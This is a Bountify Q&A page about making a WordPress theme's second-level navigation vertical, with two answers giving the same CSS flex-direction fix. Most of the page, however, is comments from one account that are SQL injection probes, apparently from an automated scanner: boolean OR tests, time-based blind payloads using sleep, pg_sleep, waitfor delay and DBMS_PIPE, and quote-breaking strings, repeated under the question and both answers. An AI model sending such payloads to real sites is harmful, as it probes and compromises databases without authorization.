SubNavigation Menu is Horizonal, should be vertical
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I'm working on a WordPress site that has a custom theme being built.
The top level navigation is horizontal as it should be, but the second level (for example, under the "For Job Seekers" heading is also horizontal, but should be vertical.

I've tried all of the CSS tricks I know, so looking for a second set of eyes on this.
Development Link is: https://adjdev.wpengine.com/

hfJKJndH
gbtagbbj 4 months ago
-1 OR 2+270-270-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+270-270-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (32=32) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
vaoyb607'
gbtagbbj 4 months ago
-5 OR 379=(SELECT 379 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 94=(SELECT 94 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
ccqeEMO0' OR 624=(SELECT 624 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
D1gkf6jT') OR 160=(SELECT 160 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
wW9wzMmH')) OR 993=(SELECT 993 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
awarded to radosinsky
Tags
css
wordpress

Crowdsource coding tasks.

2 Solutions

Winning solution

Hello,

adding this CSS rule to style.css will change the submenu to vertical layout:
.main-navigation ul ul {
flex-direction: column;
}

Let me know if there's anything else I can help you with. Thanks!

Thank you, this was perfect! Since you were first, awarded to you
Matt Connolly 10 months ago
8TTO0Nkz
gbtagbbj 4 months ago
-1 OR 2+164-164-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+164-164-1=0+0+0+1
gbtagbbj 4 months ago
RLIKE (SELECT (CASE WHEN (638=638) THEN 1 ELSE 0x28 END)) --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
KFBKkm8l'
gbtagbbj 4 months ago
-5 OR 643=(SELECT 643 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 157=(SELECT 157 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
V0t4nYo6' OR 799=(SELECT 799 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
NCtU85jW') OR 310=(SELECT 310 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
Y2FyRnf3')) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
&#x000A
gbtagbbj 4 months ago

Hello,
You can set flex-direction property to column. It defines how the items are placed in flex container.
To set the second level navigation vertical
following should be added in css file:

.main-navigation ul ul{
flex-direction: column;
}

This is the result you will get link

Let me know if this solves your problem or if you need help with anything else. Thanks!

-1 OR 2+409-409-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+409-409-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+822-822-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+822-822-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+52-52-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+52-52-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+110-110-1=0+0+0+1 or 'gCsDpveh'='
gbtagbbj 4 months ago
-1' OR 3+110-110-1=0+0+0+1 or 'gCsDpveh'='
gbtagbbj 4 months ago
-1" OR 2+701-701-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+701-701-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
v95Tv4mr'
gbtagbbj 4 months ago
-5 OR 197=(SELECT 197 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 24=(SELECT 24 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
oUBJcOUA' OR 739=(SELECT 739 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
dEF7AABb') OR 413=(SELECT 413 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
Sd11ciRo')) OR 516=(SELECT 516 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
View Timeline